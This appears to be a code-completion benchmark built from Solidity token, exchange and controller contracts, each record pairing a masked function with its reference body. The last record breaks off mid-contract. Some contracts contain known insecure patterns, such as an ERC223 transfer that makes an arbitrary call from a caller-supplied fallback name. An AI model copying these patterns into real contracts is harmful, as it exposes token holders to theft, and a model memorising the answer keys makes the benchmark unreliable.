balances[0x9f8EdE9F051f946788211549b70CfEF5c81B447B]=1000000; balances[0xAbe5CCb78502727c8CF17CfA79b218e889DD62bB]=102004; balances[0xE6ba478c352DE046aa3D9279A61A43850F3a609c]=101008; balances[0xd889C102e974ef2bA128D3caa60C463A3ae8F989]=163700; balances[0x803CbCF07c4cFA1874dad6BCeD796aB5320b3d89]=4500; balances[0xe8621096d55C7B970bF88cc4e597f29dA4b55218]=170455; balances[0x4347da950003a9C0E477eC625CD1b57620B762DE]=1150000; balances[0x8Cf2Bef55EA9a7908029853CF6289356f24e332B]=210833; balances[0xC6B24D95E69D9F74eA90C419F4B4F71e6433b2EE]=13761; balances[0x9B1f1962b65deAA7c1C495a36767f48019f24205]=57500; balances[0x976d00C6aaf3E49E2615665D81B70080933D8623]=516488; balances[0xafCe1E95eB00824B0368E2574c81ea04252D09aA]=86071; balances[0x60995c4c4b7B9EA3D6dE08a7bf8AAf1188aF943B]=27523; balances[0xc50c9457a5b0849999e2b89db8dDeA23436f3c46]=61345; balances[0x042a3E1aB9eB9Aa7B06c63eaAfb99F0EEE37c9aC]=42000; balances[0x52437Ce5c02de9B0A5D933E6902a9509f33353B4]=86071; balances[0x6FBb288E14a37a94f69c18a0eD24FaC1145b9900]=522827500; balances[0x33C8d18e9b46872CeBb31384bFBEc53Cb32Ccf12]=24876206872; name = "GameCoin"; symbol = "GMC"; decimals = 2; } // Function to access name of token . function name() constant returns (string _name) { return name; } // Function to access symbol of token . function symbol() constant returns (string _symbol) { return symbol; } // Function to access decimals of token . function decimals() constant returns (uint8 _decimals) { return decimals; } // Function to access total supply of tokens . function totalSupply() constant returns (uint48 _totalSupply) { return totalSupply; } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint48 _value, bytes _data, string _custom_fallback) returns (bool success) { if(isContract(_to)) { require(balanceOf(msg.sender) >= _value); balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); ContractReceiver receiver = ContractReceiver(_to); receiver.call.value(0)(bytes4(sha3(_custom_fallback)), msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); return true; } else { return transferToAddress(_to, _value, _data); } } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint48 _value, bytes _data) returns (bool success) { if(isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . function transfer(address _to, uint48 _value) returns (bool success) { //standard function transfer similar to ERC20 transfer with no _data //added due to backwards compatibility reasons bytes memory empty; if(isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } //assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length>0); } <FILL_FUNCTION> //function that is called when transaction target is a contract function transferToContract(address _to, uint48 _value, bytes _data) private returns (bool success) { require(balanceOf(msg.sender) >= _value); balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); return true; } function balanceOf(address _owner) constant returns (uint48 balance) { return balances[_owner]; } }
require(balanceOf(msg.sender) >= _value); balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); Transfer(msg.sender, _to, _value, _data); return true;
function transferToAddress(address _to, uint48 _value, bytes _data) private returns (bool success)
//function that is called when transaction target is an address function transferToAddress(address _to, uint48 _value, bytes _data) private returns (bool success)
47699
SaverExchange
getBestPrice
contract SaverExchange is DSMath, SaverExchangeConstantAddresses { uint256 public constant SERVICE_FEE = 800; event Swap( address src, address dest, uint256 amountSold, uint256 amountBought, address wrapper ); function swapTokenToToken( address _src, address _dest, uint256 _amount, uint256 _minPrice, uint256 _exchangeType, address _exchangeAddress, bytes memory _callData, uint256 _0xPrice ) public payable { address[3] memory orderAddresses = [_exchangeAddress, _src, _dest]; if (orderAddresses[1] == KYBER_ETH_ADDRESS) { require(msg.value >= _amount, "msg.value smaller than amount"); } else { require( ERC20(orderAddresses[1]).transferFrom(msg.sender, address(this), _amount), "Not able to withdraw wanted amount" ); } uint256 fee = takeFee(_amount, orderAddresses[1]); _amount = sub(_amount, fee); uint256[2] memory tokens; address wrapper; uint256 price; bool success; tokens[1] = _amount; if (_exchangeType == 4) { if (orderAddresses[1] != KYBER_ETH_ADDRESS) { ERC20(orderAddresses[1]).approve(address(ERC20_PROXY_0X), _amount); } (success, tokens[0], ) = takeOrder( orderAddresses, _callData, address(this).balance, _amount ); require(success && tokens[0] > 0, "0x transaction failed"); wrapper = address(_exchangeAddress); } if (tokens[0] == 0) { (wrapper, price) = getBestPrice( _amount, orderAddresses[1], orderAddresses[2], _exchangeType ); require(price > _minPrice || _0xPrice > _minPrice, "Slippage hit"); if (_0xPrice >= price) { if (orderAddresses[1] != KYBER_ETH_ADDRESS) { ERC20(orderAddresses[1]).approve(address(ERC20_PROXY_0X), _amount); } (success, tokens[0], tokens[1]) = takeOrder( orderAddresses, _callData, address(this).balance, _amount ); if (success && tokens[0] > 0) { wrapper = address(_exchangeAddress); emit Swap(orderAddresses[1], orderAddresses[2], _amount, tokens[0], wrapper); } } if (tokens[1] > 0) { if (tokens[1] != _amount) { (wrapper, price) = getBestPrice( tokens[1], orderAddresses[1], orderAddresses[2], _exchangeType ); } require(price > _minPrice, "Slippage hit onchain price"); if (orderAddresses[1] == KYBER_ETH_ADDRESS) { (tokens[0], ) = ExchangeInterface(wrapper).swapEtherToToken.value(tokens[1])( tokens[1], orderAddresses[2], uint256(-1) ); } else { ERC20(orderAddresses[1]).transfer(wrapper, tokens[1]); if (orderAddresses[2] == KYBER_ETH_ADDRESS) { tokens[0] = ExchangeInterface(wrapper).swapTokenToEther( orderAddresses[1], tokens[1], uint256(-1) ); } else { tokens[0] = ExchangeInterface(wrapper).swapTokenToToken( orderAddresses[1], orderAddresses[2], tokens[1] ); } } emit Swap(orderAddresses[1], orderAddresses[2], _amount, tokens[0], wrapper); } } if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } if (orderAddresses[2] != KYBER_ETH_ADDRESS) { if (ERC20(orderAddresses[2]).balanceOf(address(this)) > 0) { ERC20(orderAddresses[2]).transfer( msg.sender, ERC20(orderAddresses[2]).balanceOf(address(this)) ); } } if (orderAddresses[1] != KYBER_ETH_ADDRESS) { if (ERC20(orderAddresses[1]).balanceOf(address(this)) > 0) { ERC20(orderAddresses[1]).transfer( msg.sender, ERC20(orderAddresses[1]).balanceOf(address(this)) ); } } } function takeOrder( address[3] memory _addresses, bytes memory _data, uint256 _value, uint256 _amount ) private returns (bool, uint256, uint256) { bool success; (success, ) = _addresses[0].call.value(_value)(_data); uint256 tokensLeft = _amount; uint256 tokensReturned = 0; if (success) { if (_addresses[1] == KYBER_ETH_ADDRESS) { tokensLeft = address(this).balance; } else { tokensLeft = ERC20(_addresses[1]).balanceOf(address(this)); } if (_addresses[2] == KYBER_ETH_ADDRESS) { TokenInterface(WETH_ADDRESS).withdraw( TokenInterface(WETH_ADDRESS).balanceOf(address(this)) ); tokensReturned = address(this).balance; } else { tokensReturned = ERC20(_addresses[2]).balanceOf(address(this)); } } return (success, tokensReturned, tokensLeft); } function getBestPrice( uint256 _amount, address _srcToken, address _destToken, uint256 _exchangeType ) public returns (address, uint256) {<FILL_FUNCTION_BODY> } function getExpectedRate( address _wrapper, address _srcToken, address _destToken, uint256 _amount ) public returns (uint256) { bool success; bytes memory result; (success, result) = _wrapper.call( abi.encodeWithSignature( "getExpectedRate(address,address,uint256)", _srcToken, _destToken, _amount ) ); if (success) { return sliceUint(result, 0); } else { return 0; } } function takeFee(uint256 _amount, address _token) internal returns (uint256 feeAmount) { uint256 fee = SERVICE_FEE; if (Discount(DISCOUNT_ADDRESS).isCustomFeeSet(msg.sender)) { fee = Discount(DISCOUNT_ADDRESS).getCustomServiceFee(msg.sender); } if (fee == 0) { feeAmount = 0; } else { feeAmount = _amount / SERVICE_FEE; if (_token == KYBER_ETH_ADDRESS) { WALLET_ID.transfer(feeAmount); } else { ERC20(_token).transfer(WALLET_ID, feeAmount); } } } function getDecimals(address _token) internal view returns (uint256) { if (_token == address(0xE0B7927c4aF23765Cb51314A0E0521A9645F0E2A)) { return 9; } if (_token == address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48)) { return 6; } if (_token == address(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599)) { return 8; } return 18; } function sliceUint(bytes memory bs, uint256 start) internal pure returns (uint256) { require(bs.length >= start + 32, "slicing out of range"); uint256 x; assembly { x := mload(add(bs, add(0x20, start))) } return x; } function() external payable {} }
contract SaverExchange is DSMath, SaverExchangeConstantAddresses { uint256 public constant SERVICE_FEE = 800; event Swap( address src, address dest, uint256 amountSold, uint256 amountBought, address wrapper ); function swapTokenToToken( address _src, address _dest, uint256 _amount, uint256 _minPrice, uint256 _exchangeType, address _exchangeAddress, bytes memory _callData, uint256 _0xPrice ) public payable { address[3] memory orderAddresses = [_exchangeAddress, _src, _dest]; if (orderAddresses[1] == KYBER_ETH_ADDRESS) { require(msg.value >= _amount, "msg.value smaller than amount"); } else { require( ERC20(orderAddresses[1]).transferFrom(msg.sender, address(this), _amount), "Not able to withdraw wanted amount" ); } uint256 fee = takeFee(_amount, orderAddresses[1]); _amount = sub(_amount, fee); uint256[2] memory tokens; address wrapper; uint256 price; bool success; tokens[1] = _amount; if (_exchangeType == 4) { if (orderAddresses[1] != KYBER_ETH_ADDRESS) { ERC20(orderAddresses[1]).approve(address(ERC20_PROXY_0X), _amount); } (success, tokens[0], ) = takeOrder( orderAddresses, _callData, address(this).balance, _amount ); require(success && tokens[0] > 0, "0x transaction failed"); wrapper = address(_exchangeAddress); } if (tokens[0] == 0) { (wrapper, price) = getBestPrice( _amount, orderAddresses[1], orderAddresses[2], _exchangeType ); require(price > _minPrice || _0xPrice > _minPrice, "Slippage hit"); if (_0xPrice >= price) { if (orderAddresses[1] != KYBER_ETH_ADDRESS) { ERC20(orderAddresses[1]).approve(address(ERC20_PROXY_0X), _amount); } (success, tokens[0], tokens[1]) = takeOrder( orderAddresses, _callData, address(this).balance, _amount ); if (success && tokens[0] > 0) { wrapper = address(_exchangeAddress); emit Swap(orderAddresses[1], orderAddresses[2], _amount, tokens[0], wrapper); } } if (tokens[1] > 0) { if (tokens[1] != _amount) { (wrapper, price) = getBestPrice( tokens[1], orderAddresses[1], orderAddresses[2], _exchangeType ); } require(price > _minPrice, "Slippage hit onchain price"); if (orderAddresses[1] == KYBER_ETH_ADDRESS) { (tokens[0], ) = ExchangeInterface(wrapper).swapEtherToToken.value(tokens[1])( tokens[1], orderAddresses[2], uint256(-1) ); } else { ERC20(orderAddresses[1]).transfer(wrapper, tokens[1]); if (orderAddresses[2] == KYBER_ETH_ADDRESS) { tokens[0] = ExchangeInterface(wrapper).swapTokenToEther( orderAddresses[1], tokens[1], uint256(-1) ); } else { tokens[0] = ExchangeInterface(wrapper).swapTokenToToken( orderAddresses[1], orderAddresses[2], tokens[1] ); } } emit Swap(orderAddresses[1], orderAddresses[2], _amount, tokens[0], wrapper); } } if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } if (orderAddresses[2] != KYBER_ETH_ADDRESS) { if (ERC20(orderAddresses[2]).balanceOf(address(this)) > 0) { ERC20(orderAddresses[2]).transfer( msg.sender, ERC20(orderAddresses[2]).balanceOf(address(this)) ); } } if (orderAddresses[1] != KYBER_ETH_ADDRESS) { if (ERC20(orderAddresses[1]).balanceOf(address(this)) > 0) { ERC20(orderAddresses[1]).transfer( msg.sender, ERC20(orderAddresses[1]).balanceOf(address(this)) ); } } } function takeOrder( address[3] memory _addresses, bytes memory _data, uint256 _value, uint256 _amount ) private returns (bool, uint256, uint256) { bool success; (success, ) = _addresses[0].call.value(_value)(_data); uint256 tokensLeft = _amount; uint256 tokensReturned = 0; if (success) { if (_addresses[1] == KYBER_ETH_ADDRESS) { tokensLeft = address(this).balance; } else { tokensLeft = ERC20(_addresses[1]).balanceOf(address(this)); } if (_addresses[2] == KYBER_ETH_ADDRESS) { TokenInterface(WETH_ADDRESS).withdraw( TokenInterface(WETH_ADDRESS).balanceOf(address(this)) ); tokensReturned = address(this).balance; } else { tokensReturned = ERC20(_addresses[2]).balanceOf(address(this)); } } return (success, tokensReturned, tokensLeft); } <FILL_FUNCTION> function getExpectedRate( address _wrapper, address _srcToken, address _destToken, uint256 _amount ) public returns (uint256) { bool success; bytes memory result; (success, result) = _wrapper.call( abi.encodeWithSignature( "getExpectedRate(address,address,uint256)", _srcToken, _destToken, _amount ) ); if (success) { return sliceUint(result, 0); } else { return 0; } } function takeFee(uint256 _amount, address _token) internal returns (uint256 feeAmount) { uint256 fee = SERVICE_FEE; if (Discount(DISCOUNT_ADDRESS).isCustomFeeSet(msg.sender)) { fee = Discount(DISCOUNT_ADDRESS).getCustomServiceFee(msg.sender); } if (fee == 0) { feeAmount = 0; } else { feeAmount = _amount / SERVICE_FEE; if (_token == KYBER_ETH_ADDRESS) { WALLET_ID.transfer(feeAmount); } else { ERC20(_token).transfer(WALLET_ID, feeAmount); } } } function getDecimals(address _token) internal view returns (uint256) { if (_token == address(0xE0B7927c4aF23765Cb51314A0E0521A9645F0E2A)) { return 9; } if (_token == address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48)) { return 6; } if (_token == address(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599)) { return 8; } return 18; } function sliceUint(bytes memory bs, uint256 start) internal pure returns (uint256) { require(bs.length >= start + 32, "slicing out of range"); uint256 x; assembly { x := mload(add(bs, add(0x20, start))) } return x; } function() external payable {} }
uint256 expectedRateKyber; uint256 expectedRateUniswap; uint256 expectedRateOasis; if (_exchangeType == 1) { return (OASIS_WRAPPER, getExpectedRate(OASIS_WRAPPER, _srcToken, _destToken, _amount)); } if (_exchangeType == 2) { return (KYBER_WRAPPER, getExpectedRate(KYBER_WRAPPER, _srcToken, _destToken, _amount)); } if (_exchangeType == 3) { expectedRateUniswap = getExpectedRate(UNISWAP_WRAPPER, _srcToken, _destToken, _amount); expectedRateUniswap = expectedRateUniswap * (10**(18 - getDecimals(_destToken))); return (UNISWAP_WRAPPER, expectedRateUniswap); } expectedRateKyber = getExpectedRate(KYBER_WRAPPER, _srcToken, _destToken, _amount); expectedRateUniswap = getExpectedRate(UNISWAP_WRAPPER, _srcToken, _destToken, _amount); expectedRateUniswap = expectedRateUniswap * (10**(18 - getDecimals(_destToken))); expectedRateOasis = getExpectedRate(OASIS_WRAPPER, _srcToken, _destToken, _amount); expectedRateOasis = expectedRateOasis * (10**(18 - getDecimals(_destToken))); if ( (expectedRateKyber >= expectedRateUniswap) && (expectedRateKyber >= expectedRateOasis) ) { return (KYBER_WRAPPER, expectedRateKyber); } if ( (expectedRateOasis >= expectedRateKyber) && (expectedRateOasis >= expectedRateUniswap) ) { return (OASIS_WRAPPER, expectedRateOasis); } if ( (expectedRateUniswap >= expectedRateKyber) && (expectedRateUniswap >= expectedRateOasis) ) { return (UNISWAP_WRAPPER, expectedRateUniswap); }
function getBestPrice( uint256 _amount, address _srcToken, address _destToken, uint256 _exchangeType ) public returns (address, uint256)
function getBestPrice( uint256 _amount, address _srcToken, address _destToken, uint256 _exchangeType ) public returns (address, uint256)
91549
Manager
newManager
contract Manager { address public contractManager; //address to manage the token contract bool public paused = false; // Indicates whether the token contract is paused or not. event NewContractManager(address newManagerAddress); //Will display change of token manager /** * @notice Function constructor for contract Manager with no parameters * */ function Manager() public { contractManager = msg.sender; //address that creates contracts will manage it } /** * @notice onlyManager restrict management operations to the Manager of contract */ modifier onlyManager() { require(msg.sender == contractManager); _; } /** * @notice Manager set a new manager */ function newManager(address newManagerAddress) public onlyManager {<FILL_FUNCTION_BODY> } /** * @dev Event fired when the token contracts gets paused. */ event Pause(); /** * @notice Event fired when the token contracts gets unpaused. */ event Unpause(); /** * @notice Allows a function to be called only when the token contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Pauses the token contract. */ function pause() public onlyManager whenNotPaused { paused = true; emit Pause(); } /** * @notice Unpauses the token contract. */ function unpause() public onlyManager { require(paused); paused = false; emit Unpause(); } }
contract Manager { address public contractManager; //address to manage the token contract bool public paused = false; // Indicates whether the token contract is paused or not. event NewContractManager(address newManagerAddress); //Will display change of token manager /** * @notice Function constructor for contract Manager with no parameters * */ function Manager() public { contractManager = msg.sender; //address that creates contracts will manage it } /** * @notice onlyManager restrict management operations to the Manager of contract */ modifier onlyManager() { require(msg.sender == contractManager); _; } <FILL_FUNCTION> /** * @dev Event fired when the token contracts gets paused. */ event Pause(); /** * @notice Event fired when the token contracts gets unpaused. */ event Unpause(); /** * @notice Allows a function to be called only when the token contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Pauses the token contract. */ function pause() public onlyManager whenNotPaused { paused = true; emit Pause(); } /** * @notice Unpauses the token contract. */ function unpause() public onlyManager { require(paused); paused = false; emit Unpause(); } }
require(newManagerAddress != 0); contractManager = newManagerAddress; emit NewContractManager(newManagerAddress);
function newManager(address newManagerAddress) public onlyManager
/** * @notice Manager set a new manager */ function newManager(address newManagerAddress) public onlyManager
55353
afiController
yearn
contract afiController { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; address public governance; address public strategist; address public onesplit; address public rewards; mapping(address => address) public vaults; mapping(address => address) public strategies; mapping(address => mapping(address => address)) public converters; mapping(address => mapping(address => bool)) public approvedStrategies; uint public split = 500; uint public constant max = 10000; constructor(address _rewards) public { governance = msg.sender; strategist = msg.sender; onesplit = address(0x50FDA034C0Ce7a8f7EFDAebDA7Aa7cA21CC1267e); rewards = _rewards; } function setRewards(address _rewards) public { require(msg.sender == governance, "!governance"); rewards = _rewards; } function setStrategist(address _strategist) public { require(msg.sender == governance, "!governance"); strategist = _strategist; } function setSplit(uint _split) public { require(msg.sender == governance, "!governance"); split = _split; } function setOneSplit(address _onesplit) public { require(msg.sender == governance, "!governance"); onesplit = _onesplit; } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function setVault(address _token, address _vault) public { require(msg.sender == strategist || msg.sender == governance, "!strategist"); require(vaults[_token] == address(0), "vault"); vaults[_token] = _vault; } function approveStrategy(address _token, address _strategy) public { require(msg.sender == governance, "!governance"); approvedStrategies[_token][_strategy] = true; } function revokeStrategy(address _token, address _strategy) public { require(msg.sender == governance, "!governance"); approvedStrategies[_token][_strategy] = false; } function setConverter(address _input, address _output, address _converter) public { require(msg.sender == strategist || msg.sender == governance, "!strategist"); converters[_input][_output] = _converter; } function setStrategy(address _token, address _strategy) public { require(msg.sender == strategist || msg.sender == governance, "!strategist"); require(approvedStrategies[_token][_strategy] == true, "!approved"); //address _current = strategies[_token]; //if (_current != address(0)) { // Strategy(_current).withdrawAll(); //} strategies[_token] = _strategy; } function earn(address _token, uint _amount) public { address _strategy = strategies[_token]; address _want = Strategy(_strategy).want(); if (_want != _token) { address converter = converters[_token][_want]; IERC20(_token).safeTransfer(converter, _amount); _amount = Converter(converter).convert(_strategy); IERC20(_want).safeTransfer(_strategy, _amount); } else { IERC20(_token).safeTransfer(_strategy, _amount); } Strategy(_strategy).deposit(); } function balanceOf(address _token) external view returns (uint) { return Strategy(strategies[_token]).balanceOf(); } function withdrawAll(address _token) public { require(msg.sender == strategist || msg.sender == governance, "!strategist"); Strategy(strategies[_token]).withdrawAll(); } function inCaseTokensGetStuck(address _token, uint _amount) public { require(msg.sender == strategist || msg.sender == governance, "!governance"); IERC20(_token).safeTransfer(msg.sender, _amount); } function inCaseStrategyTokenGetStuck(address _strategy, address _token) public { require(msg.sender == strategist || msg.sender == governance, "!governance"); Strategy(_strategy).withdraw(_token); } function getExpectedReturn(address _strategy, address _token, uint parts) public view returns (uint expected) { uint _balance = IERC20(_token).balanceOf(_strategy); address _want = Strategy(_strategy).want(); (expected,) = OneSplitAudit(onesplit).getExpectedReturn(_token, _want, _balance, parts, 0); } // Only allows to withdraw non-core strategy tokens ~ this is over and above normal yield function yearn(address _strategy, address _token, uint parts) public {<FILL_FUNCTION_BODY> } function withdraw(address _token, uint _amount) public { require(msg.sender == vaults[_token], "!vault"); Strategy(strategies[_token]).withdraw(_amount); } }
contract afiController { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; address public governance; address public strategist; address public onesplit; address public rewards; mapping(address => address) public vaults; mapping(address => address) public strategies; mapping(address => mapping(address => address)) public converters; mapping(address => mapping(address => bool)) public approvedStrategies; uint public split = 500; uint public constant max = 10000; constructor(address _rewards) public { governance = msg.sender; strategist = msg.sender; onesplit = address(0x50FDA034C0Ce7a8f7EFDAebDA7Aa7cA21CC1267e); rewards = _rewards; } function setRewards(address _rewards) public { require(msg.sender == governance, "!governance"); rewards = _rewards; } function setStrategist(address _strategist) public { require(msg.sender == governance, "!governance"); strategist = _strategist; } function setSplit(uint _split) public { require(msg.sender == governance, "!governance"); split = _split; } function setOneSplit(address _onesplit) public { require(msg.sender == governance, "!governance"); onesplit = _onesplit; } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function setVault(address _token, address _vault) public { require(msg.sender == strategist || msg.sender == governance, "!strategist"); require(vaults[_token] == address(0), "vault"); vaults[_token] = _vault; } function approveStrategy(address _token, address _strategy) public { require(msg.sender == governance, "!governance"); approvedStrategies[_token][_strategy] = true; } function revokeStrategy(address _token, address _strategy) public { require(msg.sender == governance, "!governance"); approvedStrategies[_token][_strategy] = false; } function setConverter(address _input, address _output, address _converter) public { require(msg.sender == strategist || msg.sender == governance, "!strategist"); converters[_input][_output] = _converter; } function setStrategy(address _token, address _strategy) public { require(msg.sender == strategist || msg.sender == governance, "!strategist"); require(approvedStrategies[_token][_strategy] == true, "!approved"); //address _current = strategies[_token]; //if (_current != address(0)) { // Strategy(_current).withdrawAll(); //} strategies[_token] = _strategy; } function earn(address _token, uint _amount) public { address _strategy = strategies[_token]; address _want = Strategy(_strategy).want(); if (_want != _token) { address converter = converters[_token][_want]; IERC20(_token).safeTransfer(converter, _amount); _amount = Converter(converter).convert(_strategy); IERC20(_want).safeTransfer(_strategy, _amount); } else { IERC20(_token).safeTransfer(_strategy, _amount); } Strategy(_strategy).deposit(); } function balanceOf(address _token) external view returns (uint) { return Strategy(strategies[_token]).balanceOf(); } function withdrawAll(address _token) public { require(msg.sender == strategist || msg.sender == governance, "!strategist"); Strategy(strategies[_token]).withdrawAll(); } function inCaseTokensGetStuck(address _token, uint _amount) public { require(msg.sender == strategist || msg.sender == governance, "!governance"); IERC20(_token).safeTransfer(msg.sender, _amount); } function inCaseStrategyTokenGetStuck(address _strategy, address _token) public { require(msg.sender == strategist || msg.sender == governance, "!governance"); Strategy(_strategy).withdraw(_token); } function getExpectedReturn(address _strategy, address _token, uint parts) public view returns (uint expected) { uint _balance = IERC20(_token).balanceOf(_strategy); address _want = Strategy(_strategy).want(); (expected,) = OneSplitAudit(onesplit).getExpectedReturn(_token, _want, _balance, parts, 0); } <FILL_FUNCTION> function withdraw(address _token, uint _amount) public { require(msg.sender == vaults[_token], "!vault"); Strategy(strategies[_token]).withdraw(_amount); } }
require(msg.sender == strategist || msg.sender == governance, "!governance"); // This contract should never have value in it, but just incase since this is a public call uint _before = IERC20(_token).balanceOf(address(this)); Strategy(_strategy).withdraw(_token); uint _after = IERC20(_token).balanceOf(address(this)); if (_after > _before) { uint _amount = _after.sub(_before); address _want = Strategy(_strategy).want(); uint[] memory _distribution; uint _expected; _before = IERC20(_want).balanceOf(address(this)); IERC20(_token).safeApprove(onesplit, 0); IERC20(_token).safeApprove(onesplit, _amount); (_expected, _distribution) = OneSplitAudit(onesplit).getExpectedReturn(_token, _want, _amount, parts, 0); OneSplitAudit(onesplit).swap(_token, _want, _amount, _expected, _distribution, 0); _after = IERC20(_want).balanceOf(address(this)); if (_after > _before) { _amount = _after.sub(_before); uint _reward = _amount.mul(split).div(max); earn(_want, _amount.sub(_reward)); IERC20(_want).safeTransfer(rewards, _reward); } }
function yearn(address _strategy, address _token, uint parts) public
// Only allows to withdraw non-core strategy tokens ~ this is over and above normal yield function yearn(address _strategy, address _token, uint parts) public
45499
HashMallToken
contract HashMallToken is ERC827Token { using SafeMath for uint256; string public name = "HashMall Token"; string public symbol = "HMT"; uint public decimals = 18; address public wallet = 0xF685Fd097525a3b34cCB17BCcF0bDAD8ABf4A59b; // constructor () public { totalSupply_ = 100 * 100000000 * 10 ** decimals; balances[wallet] = totalSupply_; } /** * Do not allow direct deposits. */ function() public{<FILL_FUNCTION_BODY> } }
contract HashMallToken is ERC827Token { using SafeMath for uint256; string public name = "HashMall Token"; string public symbol = "HMT"; uint public decimals = 18; address public wallet = 0xF685Fd097525a3b34cCB17BCcF0bDAD8ABf4A59b; // constructor () public { totalSupply_ = 100 * 100000000 * 10 ** decimals; balances[wallet] = totalSupply_; } <FILL_FUNCTION> }
revert();
function() public
/** * Do not allow direct deposits. */ function() public
2948
ERC721Token
removeTokenFrom
contract ERC721Token is ERC721, ERC721BasicToken { // Token name string internal name_ = "CryptoFlowers"; // Token symbol string internal symbol_ = "CF"; // Mapping from owner to list of owned token IDs mapping(address => uint256[]) internal ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) internal ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] internal allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) internal allTokensIndex; function uint2str(uint i) internal pure returns (string){ if (i == 0) return "0"; uint j = i; uint length; while (j != 0){ length++; j /= 10; } bytes memory bstr = new bytes(length); uint k = length - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } function strConcat(string _a, string _b) internal pure returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); string memory ab = new string(_ba.length + _bb.length); bytes memory bab = bytes(ab); uint k = 0; for (uint i = 0; i < _ba.length; i++) bab[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) bab[k++] = _bb[i]; return string(bab); } /** * @dev Returns an URI for a given token ID * @dev Throws if the token ID does not exist. May return an empty string. * @notice The user/developper needs to add the tokenID, in the end of URL, to * use the URI and get all details. Ex. www.<apiURL>.com/token/<tokenID> * @param _tokenId uint256 ID of the token to query */ function tokenURI(uint256 _tokenId) public view returns (string) { require(exists(_tokenId)); string memory infoUrl; infoUrl = strConcat('https://cryptoflowers.io/v/', uint2str(_tokenId)); return infoUrl; } /** * @dev Gets the token ID at a given index of the tokens list of the requested owner * @param _owner address owning the tokens list to be accessed * @param _index uint256 representing the index to be accessed of the requested tokens list * @return uint256 token ID at the given index of the tokens list owned by the requested address */ function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256) { require (_index < balanceOf(_owner)); return ownedTokens[_owner][_index]; } /** * @dev Gets the total amount of tokens stored by the contract * @return uint256 representing the total amount of tokens */ function totalSupply() public view returns (uint256) { return allTokens.length - 1; } /** * @dev Gets the token ID at a given index of all the tokens in this contract * @dev Reverts if the index is greater or equal to the total number of tokens * @param _index uint256 representing the index to be accessed of the tokens list * @return uint256 token ID at the given index of the tokens list */ function tokenByIndex(uint256 _index) public view returns (uint256) { require (_index <= totalSupply()); return allTokens[_index]; } /** * @dev Internal function to add a token ID to the list of a given address * @param _to address representing the new owner of the given token ID * @param _tokenId uint256 ID of the token to be added to the tokens list of the given address */ function addTokenTo(address _to, uint256 _tokenId) internal { super.addTokenTo(_to, _tokenId); uint256 length = ownedTokens[_to].length; ownedTokens[_to].push(_tokenId); ownedTokensIndex[_tokenId] = length; } /** * @dev Internal function to remove a token ID from the list of a given address * @param _from address representing the previous owner of the given token ID * @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function removeTokenFrom(address _from, uint256 _tokenId) internal {<FILL_FUNCTION_BODY> } /** * @dev Gets the token name * @return string representing the token name */ function name() public view returns (string) { return name_; } /** * @dev Gets the token symbol * @return string representing the token symbol */ function symbol() public view returns (string) { return symbol_; } /** * @dev Internal function to mint a new token * @dev Reverts if the given token ID already exists * @param _to address the beneficiary that will own the minted token * @param _tokenId uint256 ID of the token to be minted by the msg.sender */ function _mint(address _to, uint256 _tokenId) internal { super._mint(_to, _tokenId); allTokensIndex[_tokenId] = allTokens.length; allTokens.push(_tokenId); } /** * @dev Internal function to burn a specific token * @dev Reverts if the token does not exist * @param _owner owner of the token to burn * @param _tokenId uint256 ID of the token being burned by the msg.sender */ function _burn(address _owner, uint256 _tokenId) internal { super._burn(_owner, _tokenId); // Reorg all tokens array uint256 tokenIndex = allTokensIndex[_tokenId]; uint256 lastTokenIndex = allTokens.length.sub(1); uint256 lastToken = allTokens[lastTokenIndex]; allTokens[tokenIndex] = lastToken; allTokens[lastTokenIndex] = 0; allTokens.length--; allTokensIndex[_tokenId] = 0; allTokensIndex[lastToken] = tokenIndex; } bytes4 constant InterfaceSignature_ERC165 = 0x01ffc9a7; /* bytes4(keccak256('supportsInterface(bytes4)')); */ bytes4 constant InterfaceSignature_ERC721Enumerable = 0x780e9d63; /* bytes4(keccak256('totalSupply()')) ^ bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) ^ bytes4(keccak256('tokenByIndex(uint256)')); */ bytes4 constant InterfaceSignature_ERC721Metadata = 0x5b5e139f; /* bytes4(keccak256('name()')) ^ bytes4(keccak256('symbol()')) ^ bytes4(keccak256('tokenURI(uint256)')); */ bytes4 constant InterfaceSignature_ERC721 = 0x80ac58cd; /* 